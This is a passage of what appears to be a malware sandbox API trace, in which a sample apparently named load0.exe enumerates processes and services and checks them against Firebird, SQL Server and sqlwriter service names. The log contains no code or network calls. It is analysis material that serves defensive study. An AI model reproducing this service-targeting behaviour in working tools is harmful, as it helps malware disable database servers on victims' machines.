1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0267.054] lstrlenW (lpString="PcaSvc") returned 6 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0267.054] lstrlenW (lpString="PlugPlay") returned 8 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0267.054] lstrlenW (lpString="Power") returned 5 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0267.054] lstrlenW (lpString="ProfSvc") returned 7 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0267.055] lstrlenW (lpString="RpcEptMapper") returned 12 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0267.055] lstrlenW (lpString="RpcSs") returned 5 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0267.055] lstrlenW (lpString="SamSs") returned 5 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0267.055] lstrlenW (lpString="Schedule") returned 8 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0267.055] lstrlenW (lpString="SecurityHealthService") returned 21 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0267.055] lstrlenW (lpString="SENS") returned 4 [0267.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0267.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0267.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0267.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0267.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0267.055] lstrlenW (lpString="ShellHWDetection") returned 16 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0267.056] lstrlenW (lpString="Spooler") returned 7 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0267.056] lstrlenW (lpString="StateRepository") returned 15 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0267.056] lstrlenW (lpString="SysMain") returned 7 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0267.056] lstrlenW (lpString="SystemEventsBroker") returned 18 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0267.056] lstrlenW (lpString="Themes") returned 6 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0267.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0267.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0267.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0267.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0267.056] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0267.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0267.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0267.057] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0267.057] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0267.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0267.057] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x127c [0267.061] Process32FirstW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.062] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.062] lstrlenW (lpString="System") returned 6 [0267.063] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.063] lstrlenW (lpString="smss.exe") returned 8 [0267.063] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.064] lstrlenW (lpString="csrss.exe") returned 9 [0267.064] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.065] lstrlenW (lpString="wininit.exe") returned 11 [0267.065] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.065] lstrlenW (lpString="csrss.exe") returned 9 [0267.066] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.066] lstrlenW (lpString="winlogon.exe") returned 12 [0267.066] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.539] lstrlenW (lpString="services.exe") returned 12 [0267.539] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.541] lstrlenW (lpString="lsass.exe") returned 9 [0267.541] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0267.542] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0267.542] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0267.543] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0267.543] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.544] lstrlenW (lpString="svchost.exe") returned 11 [0267.544] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.545] lstrlenW (lpString="svchost.exe") returned 11 [0267.545] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.546] lstrlenW (lpString="dwm.exe") returned 7 [0267.546] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.547] lstrlenW (lpString="svchost.exe") returned 11 [0267.547] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.548] lstrlenW (lpString="svchost.exe") returned 11 [0267.548] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.549] lstrlenW (lpString="svchost.exe") returned 11 [0267.549] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.550] lstrlenW (lpString="svchost.exe") returned 11 [0267.550] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.551] lstrlenW (lpString="svchost.exe") returned 11 [0267.551] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.552] lstrlenW (lpString="svchost.exe") returned 11 [0267.552] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.553] lstrlenW (lpString="svchost.exe") returned 11 [0267.553] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.555] lstrlenW (lpString="svchost.exe") returned 11 [0267.555] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.556] lstrlenW (lpString="svchost.exe") returned 11 [0267.556] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.557] lstrlenW (lpString="svchost.exe") returned 11 [0267.558] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.559] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.559] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.560] lstrlenW (lpString="svchost.exe") returned 11 [0267.560] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.561] lstrlenW (lpString="audiodg.exe") returned 11 [0267.561] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0267.562] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0267.562] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0267.563] lstrlenW (lpString="Memory Compression") returned 18 [0267.563] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0267.564] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0267.564] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0267.566] lstrlenW (lpString="sihost.exe") returned 10 [0267.566] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.567] lstrlenW (lpString="svchost.exe") returned 11 [0267.568] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0267.569] lstrlenW (lpString="taskhostw.exe") returned 13 [0267.569] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0267.570] lstrlenW (lpString="msoia.exe") returned 9 [0267.571] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.572] lstrlenW (lpString="explorer.exe") returned 12 [0267.572] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0267.573] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0267.573] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.574] lstrlenW (lpString="SearchUI.exe") returned 12 [0267.574] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.575] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0267.575] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.577] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0267.577] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0267.578] lstrlenW (lpString="load0.exe") returned 9 [0267.578] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.579] lstrlenW (lpString="dllhost.exe") returned 11 [0267.579] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.580] lstrlenW (lpString="dllhost.exe") returned 11 [0267.580] Process32NextW (in: hSnapshot=0x127c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0267.582] CloseHandle (hObject=0x127c) returned 1 [0267.582] Sleep (dwMilliseconds=0x1f4) [0268.190] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64668 [0268.191] EnumServicesStatusExW (in: hSCManager=0x3f64668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0268.191] GetLastError () returned 0xea [0268.191] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x6e07d8 [0268.191] EnumServicesStatusExW (in: hSCManager=0x3f64668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e07d8, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e07d8, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0268.192] CloseServiceHandle (hSCObject=0x3f64668) returned 1 [0268.192] lstrlenW (lpString="Appinfo") returned 7 [0268.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0268.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0268.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0268.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0268.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0268.193] lstrlenW (lpString="AppXSvc") returned 7 [0268.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0268.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0268.193] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0268.193] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0268.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0268.193] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0268.193] lstrcmpiW 